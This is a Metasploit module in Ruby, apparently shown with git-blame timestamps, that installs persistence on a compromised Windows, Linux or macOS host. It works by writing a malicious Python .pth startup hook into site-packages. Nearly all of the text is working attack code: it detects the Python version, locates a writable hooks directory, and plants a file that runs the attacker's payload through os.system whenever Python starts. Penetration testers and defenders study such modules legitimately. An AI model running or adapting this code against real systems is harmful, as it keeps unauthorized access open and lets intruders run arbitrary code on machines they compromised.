2025-11-10 16:27:59 +01:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf :: Exploit :: Local
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
include Msf :: Post :: Linux :: Priv
include Msf :: Post :: File
include Msf :: Exploit :: EXE
include Msf :: Exploit :: FileDropper
include Msf :: Exploit :: Local :: Persistence
prepend Msf :: Exploit :: Remote :: AutoCheck
def initialize ( info = { } )
super (
update_info (
info ,
2025-11-11 08:39:40 +01:00
'Name' = > 'Python Site-Specific Hook Persistence' ,
2025-11-10 16:27:59 +01:00
'Description' = > %q{
2025-11-19 07:17:07 +01:00
This module leverages Python's startup mechanism, where some files can be automically processed during the initialization of the Python interpreter. One of those files are startup hooks (site-specific, dist-packages). If these files are present in site-specific or dist-packages directories, any lines beginning with import will be executed automatically. This creates a persistence mechanism, if an attacker has established access to target machine with sufficient permissions.
2025-11-10 16:27:59 +01:00
} ,
'License' = > MSF_LICENSE ,
'Author' = > [
'msutovsky-r7' , # msf module
] ,
2025-11-11 10:21:08 +01:00
'Platform' = > [ 'linux' , 'windows' , 'osx' ] ,
2025-11-11 08:39:40 +01:00
'Arch' = > [ ARCH_CMD ] ,
2025-11-11 15:57:30 +01:00
'SessionTypes' = > [ 'meterpreter' , 'shell' ] ,
2025-11-10 16:27:59 +01:00
'Targets' = > [ [ 'Auto' , { } ] ] ,
'References' = > [
2025-11-11 15:57:30 +01:00
[ 'URL' , 'https://docs.python.org/3/library/site.html' ] ,
2025-11-19 07:52:54 +01:00
[ 'ATT&CK' , Mitre :: Attack :: Technique :: T1546_018_PYTHON_STARTUP_HOOKS ] ,
2025-11-10 16:27:59 +01:00
] ,
2025-11-19 06:58:56 +01:00
'DisclosureDate' = > '2012-09-29' ,
2025-11-10 16:27:59 +01:00
'DefaultTarget' = > 0 ,
'Notes' = > {
'Stability' = > [ CRASH_SAFE ] ,
2025-11-11 15:57:30 +01:00
'Reliability' = > [ REPEATABLE_SESSION ] ,
2026-01-06 08:31:46 +01:00
'SideEffects' = > [ IOC_IN_LOGS , SCREEN_EFFECTS ]
2025-11-10 16:27:59 +01:00
}
)
)
2025-11-17 11:42:42 +01:00
register_options ( [
2025-11-19 06:58:56 +01:00
OptString . new ( 'PYTHON_HOOK_PATH' , [ false , 'The path to Python site-specific hook directory' ] ) ,
OptEnum . new ( 'EXECUTION_TARGET' , [ true , 'Selects if persistence is installed under current user or for all users' , 'USER' , [ 'USER' , 'SYSTEM' ] ] )
2025-11-17 11:42:42 +01:00
] )
2025-11-10 16:27:59 +01:00
end
2025-11-11 10:21:08 +01:00
def get_hooks_path
2025-11-19 06:58:56 +01:00
unless datastore [ 'PYTHON_HOOK_PATH' ] . blank?
2025-11-17 11:42:42 +01:00
@hooks_path = datastore [ 'PYTHON_HOOK_PATH' ]
return
end
2025-11-11 10:21:08 +01:00
case session . platform
when 'windows' , 'win'
2025-11-19 06:58:56 +01:00
case datastore [ 'EXECUTION_TARGET' ]
when 'USER'
2025-11-19 07:52:54 +01:00
@hooks_path = expand_path ( " %USERPROFILE%/AppData/Local/Programs/Python/Python #{ @python_version . sub ( '.' , '' ) } /Lib/site-packages/ " )
2025-11-19 06:58:56 +01:00
when 'SYSTEM'
@hooks_path = " C:/Python #{ @python_version . sub ( '.' , '' ) } /Lib/site-packages/ "
end
2025-11-11 10:21:08 +01:00
when 'osx' , 'linux'
2025-11-19 06:58:56 +01:00
case datastore [ 'EXECUTION_TARGET' ]
when 'USER'
@hooks_path = expand_path ( " $HOME/.local/lib/python #{ @python_version } /site-packages/ " )
when 'SYSTEM'
@hooks_path = " /usr/local/lib/python #{ @python_version } /dist-packages/ "
end
2025-11-11 10:21:08 +01:00
end
end
2025-11-10 16:27:59 +01:00
def get_python_version
2025-11-11 10:21:08 +01:00
case session . platform
when 'windows' , 'win'
2026-01-06 18:38:31 +01:00
cmd_exec ( 'cmd.exe /c python3.exe --version 2> nul || python2.exe --version 2> nul || python.exe --version 2> nul || py.exe --version 2> nul' ) =~ / ( \ d+. \ d+). \ d+ /
2025-11-11 10:21:08 +01:00
when 'osx' , 'linux'
cmd_exec ( 'python3 --version 2>/dev/null || python2 --version 2> /dev/null || python --version 2>/dev/null' ) =~ / ( \ d+. \ d+). \ d+ /
end
2025-11-11 15:57:30 +01:00
2025-11-11 10:21:08 +01:00
@python_version = Regexp . last_match ( 1 )
2025-11-10 16:27:59 +01:00
end
def check
2025-11-11 10:21:08 +01:00
get_python_version
2025-11-11 16:30:30 +01:00
2025-11-11 10:21:08 +01:00
return CheckCode :: Safe ( 'Python not present on the system' ) unless @python_version
CheckCode :: Vulnerable ( 'Python is present on the system' )
2025-11-10 16:27:59 +01:00
end
def install_persistence
2025-11-11 10:21:08 +01:00
get_python_version unless @python_version
2025-11-19 06:58:56 +01:00
print_status ( " Detected Python version #{ @python_version } " )
2025-11-11 10:21:08 +01:00
get_hooks_path unless @hooks_path
2025-12-19 14:31:05 +01:00
mkdir ( @hooks_path ) if session . platform == 'osx' || session . platform == 'linux'
fail_with ( Failure :: NotFound , " The hooks path #{ @hooks_path } does not exists " ) unless directory? ( @hooks_path )
# check if hooks path writable
begin
# windows only ps payloads have writable? so try that first
fail_with ( Failure :: NoAccess , " No permission to write to #{ @hooks_path } " ) unless writable? ( @hooks_path )
rescue RuntimeError
filename = @hooks_path + '\\' + Rex :: Text . rand_text_alpha ( ( rand ( 6 .. 13 ) ) )
write_file ( filename , '' )
fail_with ( Failure :: NoAccess , " No permission to write to #{ @hooks_path } " ) unless exists? ( filename )
rm_f ( filename )
end
2025-11-19 06:58:56 +01:00
print_status ( " Got path to site-specific hooks #{ @hooks_path } " )
2025-11-11 10:21:08 +01:00
2025-11-10 16:27:59 +01:00
file_name = datastore [ 'PAYLOAD_NAME' ] || Rex :: Text . rand_text_alpha ( 5 .. 10 )
2025-11-11 10:21:08 +01:00
fail_with ( Failure :: PayloadFailed , 'Failed to create malicious hook' ) unless write_file ( " #{ @hooks_path } #{ file_name } .pth " , %( import os;os.system ( " #{ payload . encoded } " ) ) )
2025-12-10 17:01:27 +01:00
print_good ( " Successfully created malicious hook #{ @hooks_path } #{ file_name } .pth " )
2026-01-06 08:31:46 +01:00
@clean_up_rc << " rm #{ @hooks_path } #{ file_name } .pth \n "
2025-11-10 16:27:59 +01:00
end
end